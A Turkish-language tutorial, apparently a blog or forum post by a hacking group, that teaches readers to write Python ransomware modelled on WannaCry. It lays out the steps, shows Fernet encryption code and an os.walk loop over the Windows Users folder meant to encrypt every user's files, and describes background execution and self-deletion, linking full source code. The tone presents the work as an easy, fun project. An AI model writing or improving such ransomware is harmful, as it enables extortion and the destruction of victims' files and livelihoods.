Fidye virüsü kodluyoruz :)
Selamlar
Bu yazıda WannaCry'ın merdiven altı Python fidye virüsümüzü yazacağız .
Kodlara gelmeden evvel nasıl olacağını açıklayalım
os modülü ile bütün alt klasörleri listele
"rb" ile dosyayı aç
cryptography modülü ile içeriği şifrele
(kendi şifreleme methodunuzu da kullanabilirsiniz)
aynı dosyayı wb ile aç ve şifrelenmiş içeriği içine yaz
Işte bu kadar basit :)
Gelelim şifrelemenin nasıl yapılacağına
from cryptography.fernet import Fernet
İle modülümüzü dahil edelim .
Şimdi anahtar eklememiz gerekiyor ;
anahtar = Fernet.generate_key()
Şimdi fer'e şifrelememizi aktaralım
fer = Fernet(anahtar)
fer bizim encrpt ve decpyt yapabileceğimiz değerimiz
>> fer.encrypt("Bu yazı şifrelenecek !".encode())
>> b'gAAAAABeigI2PUz7vW4RlT_9peTEtTSgCUs6yypDfsHOgfyPpnfVYOqI7c='
Bu kadar basit aslında işlemimiz ..
Mantığımızı kavradığımıza göre alt klasörleri listeyelim
import os
for dosya_konum,eleman,dosya_isim_liste in os.walk("\\Users"):
for dosya_isim in dosya_isim_liste:
print(dosya_konum+dosya_isim)
Burada açıklanacak tek şey os.walk("\\Users") kavramı ;
os.walk() Kendisine verilen değerden itirabaren lat klasörleri listeyen oldukça faydalı bir modül
\\Users değerini vermemiz ise Tüm Windowslarda Users'ın olması ve tüm kullanıcıları şifrelemek istememiz
Aşağıdaki kodu çalıştırıp gerçekten de tüm alt klasörleri listeleyeceğini görebilirsiniz
Yapacağımız herşey aslında bu kadardı :)
Tekrar geçelim;
os.walk ile listele
listenen dosyaların hepsini wb ile aç , şifrele yaz
Şimdi gelelim asıl kodlarımıza
Görselde bahsettiğim kütüphaneler dışında "daemon" adlı bir modülü daha fark etmişsinizdir
Bu modül sayesinde python kodlarımızı "arkaplanda" çalıştırabileceğiz.
os.remove() 'ı kullanma sebebimiz ise python'un kapandığını sanan hedef programı baştan açmaya çalışacaktır . Bunu dosyayı silerek hallediyoruz :)
Kaynak Kodları:
https://github.com/PersonaNonGratae/pngfidye
Not:
Kodları değiştirmeden doğrudan kendi bilgisayarınızda çalıştırırsanız tüm dosyalarınız kullanılamaz hale gelecektir .
Şifrelenmiş dosyayı açmak için kodların 2 parçasını değiştirmek yeterli olacaktır :
Satır 40 : key = input("key'inizi girin !").encode()
Satır 55 : with open(dosya,"wb") as yaz : yaz.write(fer.decrypt(oku))
@raifpy tarafından Persona Non Grata için hazırlanmıştır . Telegram grubumuza katılın.